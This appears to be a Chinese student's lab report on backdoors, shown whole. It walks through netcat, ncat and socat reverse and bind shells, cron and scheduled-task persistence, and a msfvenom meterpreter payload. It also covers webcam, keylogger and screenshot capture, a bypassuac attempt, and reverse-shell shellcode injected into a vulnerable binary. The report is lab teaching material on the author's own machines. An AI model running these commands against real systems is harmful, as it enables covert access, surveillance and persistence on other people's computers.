2019-2020-2 20175303柴轩达 《网络对抗技术》Exp2 后门原理与实践

ⅰ亾dé卋堺 提交于 2020-03-18 09:59:37

2019-2020-2 20175303柴轩达 《网络对抗技术》Exp2 后门原理与实践

1.基础知识总结

(1)后门:是不经过正常认证流程而访问系统流程的通道。

(2)常见后门有:编译器后门、操作系统后门、应用程序后门、潜伏或伪装成特定应用的专用后门程序。

(3)布置后门的流程:<1>有一个后门程序;<2>将其放置在系统里;<3>使后门程序代码运行起来;<3>不被查杀软件查杀且不被防火墙发现。(常用技术有:反弹式连接;加密技术;隧道技术)。

(4)常用后门工具:
netcat:又名nc、ncat。是一个底层工具,进行基本的TCP.UDP数据收发,常与其他工具结合使用作为后门。

Linux:自带netcat,输入man nc查看其使用说明。

Windows: 下载ncat.rar工具包到桌面。

meterpreter:是一个后门平台。其中有大量零件可调参数,用时组合可以生成可执行文件。

(5)后门启动:

任务计划程序——>新建任务计划——>触发器——>操作程序或脚本——>操作添加参数。

2.实验内容

任务一

(1)Linux获得Win Shell
输入ifconfig查看到kali的IP地址为192.168.0.10

输入nc -l -p 5303在Linux运行监听

windows在命令窗口进入桌面

在ncat文件目录下输入ncat.exe -e cmd.exe 192.168.0.10 5303,使Windows反弹连接Linux

Linux下看到Windows的命令提示,可运行指令

(2)Win获得Linux Shell:
首先在Windows命令窗口中使用ipconfig查看主机IP地址 192.168.3.27

windows在ncat.exe文件目录下输入ncat.exe -l -p 5303打开windows 监听

Linux反弹连接windows:nc 192.168.3.27 5303 -e /bin/sh

windows下获得一个linux shell,可运行指令

(3)使用netcat获取主机操作Shell,cron启动

Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
crontab指令增加一条定时任务,"-e"表示编辑。

在kali端输入crontab -e
选择第二个编辑器

并添加下面这行代码后保存退出,表示在每个小时的第3分钟执行后面的那条指令。
3 * * * * /bin/netcat 192.168.3.27 5303 -e /bin/sh

可以通过"crontab -l"来查看,"-l"表示list
下图为执行代码后的结果

任务二

使用socat获取主机操作Shell, 任务计划启动

socat,即Netcat++,是超级netcat工具。

右击计算机—>点击计算机管理

点击任务计划程序—>点击创建任务

设置任务名

新建触发器

新建操作,在程序或脚本中选择socat.exe文件的路径,添加参数中填写tcp-listen:5303 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5303,同时把cmd.exe的stderr重定向到stdout上,然后确定

当时间到时,此时可以看到任务的状态为正在运行,同时会弹出一个cmd窗口。

在kali中输入指令socat - tcp:192.168.3.27:5303,成功获得了一个shell

任务三

使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.10 LPORT=5303 -f exe > 20175303_backdoor.exe命令生成生成20175303_backdoor.exe文件
其中LHOST是本地即Kali的IP
-f 生成文件的类型

输出到哪个文件

在Windows下执行ncat.exe -lv 5303 > 20175303_backdoor.exe,使被控主机进入接收文件模式

在kali中执行nc 192.168.3.27 5303 < 20175303_backdoor.exe

出现下图表明文件传输成功

MSF打开监听进程
输入msfconsole进入msf控制台
输入use exploit/multi/handler设置payload
输入set payload windows/meterpreter/reverse_tcp使用和生成后门程序时相同的payload
输入set LHOST 192.168.0.10,设置本地ip
输入set LPORT 5303设置本地端口
输入show options查看选项
输入exploit开始监听

在windows后门文件夹中运行后门程序

在kali端获取Windows的shell,可以输入dir来验证

任务四

使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
使用record_mic指令获取目标机截获一段音频(未成功)

使用webcam_snap指令获取目标机摄像头

使用keyscan_startkeyscan_dump指令获取目标机击键记录

使用screenshot指令获取目标机截图

使用getuid指令查看当前用户,使用getsystem指令进行提权操作(未成功)

参考同学博客试图修复getsystem功能后,仍未成功
使用background命令之后会自动退出到msf的命令行下,得到session x,此处为session 1
在msf命令行下输入search bypassuac
再输入use exploit/windows/local/bypassuac
然后再输入set session 填写内容为你使用background查看到的session数值)
最后输入run(输入run后运行结果不正确)

当运行结果大致为图文所示内容时才对

任务五

可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
exploit database官网的shellcode找一个linux/x86平台的,用于反弹连接的shellcode下载下来。

打开下载下来的文件夹,复制这块地址

参考实验一的任务三
通过输入execstack -s pwn1设置堆栈可执行
输入execstack -q pwn1查询文件的堆栈是否可执行,显示X pwn1则表示可执行
输入echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化
输入more /proc/sys/kernel/randomize_va_space查看随机化是否关闭,如显示0则已关闭,2未关闭
输入perl -e 'print "A" x 32;print"\x04\x03\x02\x01\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode来将复制并加上0x01020304后得到的地址输入到input_shellcode里
在第一个终端中输入(cat input_shellcode;cat) | ./pwn1运行pwn1
在第二个终端中输入ps -ef | grep pwn1查看pwn1的进程号
查看pwn1的进程号为多少
输入gdb调试
…(具体请参考实验一博客
最后找到栈顶(esp)中存放的地址为0xffffd20c

计算出shellcode地址就是0xffffd20c+4,即0xffffd210。
输入perl -e 'print "A" x 32;print"\x10\xd2\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode
输入(cat input_shellcode;cat) | ./pwn1运行pwn1

在另一台终端中输入msfconsole打开msf控制台
输入use exploit/multi/handler设置payload
输入set payload linux/x86/shell_reverse_tcp使用和生成后门程序时相同的payload
输入set LHOST 192.168.0.10,设置本地ip
输入set LPORT 4444设置端口
输入show options查看选项
输入exploit开始监听后可以输入命令

3.问题与解决

问题1:在任务三windows运行后门程序时未运行成功
解决:原因是防火墙、实时防护等未关彻底,把实时防护、电脑管家设置里面的安全防护、防火墙都关掉才能正常实验
问题2:在任务四截取一段音频时未成功
解决:未解在网上搜没找到合适的解决办法,把有关声音的一切设置都打开了,并没有起到什么作用
问题3:在任务四getsystem提权时未成功
解决:未解决,参考其他同学的博客有相关解决方法,但并未奏效

4.基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?
随意的下载不是官方网站,大公司的软件或资料;硬盘磁盘U盘携带

(2)例举你知道的后门如何启动起来(win及linux)的方式?
1.被攻击者点击;
2.定时启动;
3.开机自启动;
4.缓冲区溢出攻击

(3)Meterpreter有哪些给你映像深刻的功能?
截取音频、启动摄像头、截屏、提权

(4)如何发现自己有系统有没有被安装后门?
答:查看注册表、进程、端口情况,使用杀毒软件。

5.实验总结与体会

答:通过本次实验,对后门注入攻击的基本原理有了初步的了解。其实实验本身不难,跟着老师视频学习,有了思路之后,先自己做,实在不会了参考一下别人博客绝大部分能做出来。做实验的时候总想操作一下别人的电脑,以后就可以监控他了哈哈。另外,通过这次实验真实的感受到自己有可能被攻击被监视,做实验关闭防火墙,关闭实时防护后,电脑还是会检测是否有不安全因素存在,有危险就发出警告,发现除了做实验用的后门被检测出来外,还有另外一个不知道是什么东西多警告,有点害怕,以后能保护好还是尽量保护好。

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!